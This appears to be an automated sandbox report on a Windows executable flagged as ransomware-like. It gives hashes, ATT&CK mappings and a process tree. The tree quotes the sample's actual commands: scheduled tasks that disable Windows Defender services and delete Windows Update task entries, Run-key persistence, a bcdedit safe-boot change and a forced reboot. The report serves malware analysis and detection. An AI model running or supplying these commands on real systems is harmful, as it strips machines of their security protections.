e59e7db0c75cef4bb6e057d725bae7ed5e13fd011b54fe39c3fe7cdb123b684f

Analysis

max time kernel
75s
max time network
317s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
20-06-2022 13:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe
Size

92KB
MD5

fd8050fe993e55914b1608dd1828f540
SHA1

8d8de88ec4baaeb504b4cdf959fd0d76fd346818
SHA256

5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff
SHA512

ac73a5a33b2c9549b678ccf7dd48242f7563eb15b1cc75f3d28e170b72d09f6a4424e75f20c049f603b04c2536f03aa96fae50a6c3f12dbb5f7075ef9dd9e60d

Score

9^/10

evasion persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2632	bcdedit.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\app-fix = "schtasks /run /tn cmd_b"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*ddf-fix = "C:\\fixes\\ddefender\\fix.cmd"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4848	schtasks.exe
4524	schtasks.exe
4784	schtasks.exe
2148	schtasks.exe
2060	schtasks.exe
1064	schtasks.exe
3392	schtasks.exe
4100	schtasks.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "33"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3628	shutdown.exe
Token: SeRemoteShutdownPrivilege	3628	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4872	LogonUI.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 1760	1804	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	83
PID 1804 wrote to memory of 1760	1804	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	83
PID 1804 wrote to memory of 1760	1804	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	83
PID 1760 wrote to memory of 4784	1760	cmd.exe	85
PID 1760 wrote to memory of 4784	1760	cmd.exe	85
PID 1760 wrote to memory of 4784	1760	cmd.exe	85
PID 1760 wrote to memory of 2148	1760	cmd.exe	86
PID 1760 wrote to memory of 2148	1760	cmd.exe	86
PID 1760 wrote to memory of 2148	1760	cmd.exe	86
PID 1760 wrote to memory of 2060	1760	cmd.exe	87
PID 1760 wrote to memory of 2060	1760	cmd.exe	87
PID 1760 wrote to memory of 2060	1760	cmd.exe	87
PID 1760 wrote to memory of 1064	1760	cmd.exe	88
PID 1760 wrote to memory of 1064	1760	cmd.exe	88
PID 1760 wrote to memory of 1064	1760	cmd.exe	88
PID 1760 wrote to memory of 3392	1760	cmd.exe	89
PID 1760 wrote to memory of 3392	1760	cmd.exe	89
PID 1760 wrote to memory of 3392	1760	cmd.exe	89
PID 1760 wrote to memory of 4100	1760	cmd.exe	90
PID 1760 wrote to memory of 4100	1760	cmd.exe	90
PID 1760 wrote to memory of 4100	1760	cmd.exe	90
PID 1760 wrote to memory of 4848	1760	cmd.exe	91
PID 1760 wrote to memory of 4848	1760	cmd.exe	91
PID 1760 wrote to memory of 4848	1760	cmd.exe	91
PID 1760 wrote to memory of 4524	1760	cmd.exe	92
PID 1760 wrote to memory of 4524	1760	cmd.exe	92
PID 1760 wrote to memory of 4524	1760	cmd.exe	92
PID 1760 wrote to memory of 4456	1760	cmd.exe	93
PID 1760 wrote to memory of 4456	1760	cmd.exe	93
PID 1760 wrote to memory of 4456	1760	cmd.exe	93
PID 1760 wrote to memory of 4500	1760	cmd.exe	94
PID 1760 wrote to memory of 4500	1760	cmd.exe	94
PID 1760 wrote to memory of 4500	1760	cmd.exe	94
PID 4724 wrote to memory of 4572	4724	cmd.exe	97
PID 4724 wrote to memory of 4572	4724	cmd.exe	97
PID 4724 wrote to memory of 2632	4724	cmd.exe	98
PID 4724 wrote to memory of 2632	4724	cmd.exe	98
PID 4724 wrote to memory of 3628	4724	cmd.exe	99
PID 4724 wrote to memory of 3628	4724	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe
"C:\Users\Admin\AppData\Local\Temp\5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c %SYSTEMDRIVE%\fixes\tsk.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_a /tr C:\fixes\ddefender\run.cmd /rl highest /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:4784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_b /tr C:\fixes\base\run.cmd /rl highest /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:2148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_c /tr "reg delete \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\InstallService\" /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:2060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_d /tr "reg delete \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WaaSMedic\" /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:1064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_e /tr "reg delete \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UpdateOrchestrator\" /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:3392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_f /tr "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t REG_DWORD /d 4 /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:4100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_g /tr "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v Start /t REG_DWORD /d 4 /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:4848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_h /tr "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t REG_DWORD /d 4 /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:4524
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "app-fix" /t REG_SZ /d "schtasks /run /tn cmd_b" /f
    3⤵
    - Adds Run key to start application
    PID:4456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /tn cmd_a
    3⤵
    PID:4500

C:\Windows\SYSTEM32\cmd.exe
C:\Windows\SYSTEM32\cmd.exe /c "C:\fixes\ddefender\run.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "*ddf-fix" /t REG_SZ /d "C:\fixes\ddefender\fix.cmd" /f
  2⤵
  - Adds Run key to start application
  PID:4572
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} safeboot minimal
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2632
- C:\Windows\system32\shutdown.exe
  shutdown -f -r -t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3628

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a13855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\fixes\ddefender\run.cmd

Filesize
229B

MD5
38a528fbb40d3bc0fae336303e71d0be

SHA1
300c605491419966f209a81557e957fe7b860d73

SHA256
857b07248e7bc3c573d4c3342b6dcfc92403bcf8a09db6fe0d86b13deae254ec

SHA512
01c842503aae63e8cfbff53758137813a50c7ff0c8d6a3e2da81b2e46ea41b5be866086da54b9b1928d6411d0000780f491aa2f3a794b87ef042782e8496aee0

Download Submit
C:\fixes\tsk.cmd

Filesize
1KB

MD5
5719ce24c0d7577a2b23bfbf9267bc2c

SHA1
5ea8756d8b80563502809a3200b508474c7285d5

SHA256
e6a7502f80a1519ef1dde70104ac6a24e2d257f6634e3ff1eb71a9bfde8fdf2a

SHA512
fc970ecb526e57b67e277ad5a520925fa49a65565c9824011d8de425722623945cdd21de35826bbbb7187b24eaa16e8303391b42ce7fbb37777e38b315e2d132

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads